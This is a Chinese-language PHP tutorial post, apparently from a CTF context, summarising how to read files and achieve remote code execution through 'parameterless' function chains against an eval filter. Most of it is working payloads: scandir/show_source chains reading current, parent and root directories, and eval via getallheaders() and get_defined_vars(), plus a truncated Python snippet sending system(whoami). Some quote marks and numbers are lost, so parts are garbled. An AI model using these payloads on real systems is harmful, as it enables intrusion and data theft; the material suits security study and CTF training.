php发展

首页 » 常识 » 问答 » 无参数读文件和RCE总结
TUhjnbcbe - 2023/1/28 16:55:00

●引言

●代码解析

●无参数任意文件读取

●查看当前目录文件名

●读取当前目录文件

●查看上一级目录文件名

●读取上级目录文件

●查看和读取多层上级路径的就不写了,一样的方式套娃就行

●无参数命令执行(RCE)

●getallheaders()apache_request_headers()

●get_defined_vars()

●session_id()

●getenv()

●小结

●参考

无参数读文件和RCE总结

引言

之前做题时遇到了无参数RCE这类题,在网上查找资料发现都是零散的Writeup或者payload,没有一篇能够完整涵盖读取文件和命令执行的技巧,所以我花了点时间,将PHP无参数读文件以及命令执行所用到的方法总结了一遍,希望能对读者起到些许作用。

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

接下来,从代码开始讲解无参数读文件和RCE的具体技巧,帮助读者熟悉PHP的各种函数、记住无参数读文件和RCE的各类方法:

例题:

?php

highlight_file(__FILE__);

if(;===preg_replace(/[^\W]+\((?R)?\)/,,$_GET[code])){

eval($_GET[code]);

}

?

代码解析

preg_replace(/[^\W]+\((?R)?\)/,,$_GET[code])

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于[^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

举个例子:

a(b(c()));可以使用,但是a(b)或者a(b,c)这种含有参数的都不能使用

所以我们要使用无参数的函数进行文件读取或者命令执行

无参数任意文件读取

查看当前目录文件名

正常的,print_r(scandir(.));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢,这里介绍几个方法:

1.localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.(后续出现的.都用双引号包裹,方便识别)

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值:

print_r(scandir(current(localeconv())));成功打印出当前目录下文件:

或者使用print_r(scandir(pos(localeconv())));,pos是current的别名

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回FALSE

2.chr(46)

chr(46)就是字符.

要构造46,有几个方法:

chr(rand())(不实际,看运气)

chr(time())

chr(current(localtime(time())))

●chr(time()):

chr()函数以为一个周期,所以chr(46),chr(),chr()都等于.

所以使用chr(time()),一个周期必定出现一次.

●chr(current(localtime(time()))):

数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得.

3.phpversion()

phpversion()返回PHP版本,如5.5.9

floor(phpversion())返回5

sqrt(floor(phpversion()))返回2.8

tan(floor(sqrt(floor(phpversion()))))返回-2.5

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.1

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.

4.crypt()

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率)或者.(小概率)然后通过chr(ord())只取第一个字符

ps:ord()返回字符串中第一个字符的Ascii值

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)

同理:strrev(crypt(serialize(array())))也可以得到.,只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

PHP的函数如此强大,获取.的方法肯定还有许多

正常的,我们还可以用print_r(scandir(绝对路径));来查看当前目录文件名

获取绝对路径可用的有getcwd()和realpath(.)

所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

查询PHP手册发现:

手册里有这些方法,如果要获取的数组是最后一个我们可以用:

show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)

ps:readgzfile()也可读文件,常用于绕过过滤

我们添加zflag.php使其排序在index.php后成为最后一个文件

(出现报错的原因是PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件)

介绍一个函数:array_reverse()以相反的元素顺序返回数组

zflag.php本来在最后一位,反过来就成为第一位,可以直接用current(pos)读取

show_source(current(array_reverse(scandir(getcwd()))));

如果是倒数第二个我们可以用:

show_source(next(array_reverse(scandir(getcwd()))));

如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd()))));

或者:

show_source(array_rand(array_flip(scandir(current(localeconv())))));

(可以自己结合前面总结的构造.的方法切合实际过滤情况读取,后文就只列举简单的语句)

多刷新几次,就读到了正着数或者倒着数都是第三位的flag1.php:

如果目标文件不在当前目录呢?

查看上一级目录文件名

再介绍几个函数:

dirname():返回路径中的目录部分,比如:

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

chdir():改变当前工作目录

1.dirname()方法

print_r(scandir(dirname(getcwd())));//查看上一级目录的文件

2.构造..

print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是..,所以可以用next()获取

print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

结合上文的一些构造都是可以获得..的:

next(scandir(chr(ord(hebrevc(crypt(time()))))))

读取上级目录文件

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

前面写到了chdir(),使用:

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

即可改变当前目录为上一层目录并读取文件:

如果不能使用dirname(),可以使用构造..的方式切换路径并读取:

但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

这里crypt()和time()可以接收参数,于是构造:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

或更复杂的:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

还可以用:

show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

多刷新几次:

还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数)

if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

查看和读取多层上级路径的就不写了,一样的方式套娃就行

查看和读取根目录文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件

但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功

同样的:

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

也可以查看根目录文件,但是也会受到权限限制,不一定成功

读根目录文件:(也是需要权限)

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧

无参数命令执行(RCE)

我们可以使用无参数函数任意读文件,也可以执行命令:

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers

经过查找,发现getallheaders()和apache_request_headers()

getallheaders()apache_request_headers()

getallheaders()是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用

接下来利用方式就多了,任何header头部都可利用:

我们可以使用:

?code=eval(pos(getallheaders()));

//header

Leon:phpinfo();

因为我这里Leon:phpinfo();排在第一位,所以直接用pos(current的别名)取第一个数组的值

当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数:

根据位置的不同,可以结合前文,构造获取不同位置的数组

除了可以获得headers,PHP有个函数可以获得所有PHP变量:

get_defined_vars()

该函数会返回全局变量的值,如get、post、cookie、file数据

这里要注意,leon=phpinfo();在_GET数组中,所以需要使用两次取数组值:

第一次:

第二次:

所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了

?leon=phpinfo();code=eval(pos(pos(get_defined_vars())));

如何利用file变量进行rce呢?

importrequests

files={

system(whoami);:

}

#data={

#code:eval(pos(pos(end(get_defined_vars()))));

#}

r=requests.post(

1
查看完整版本: 无参数读文件和RCE总结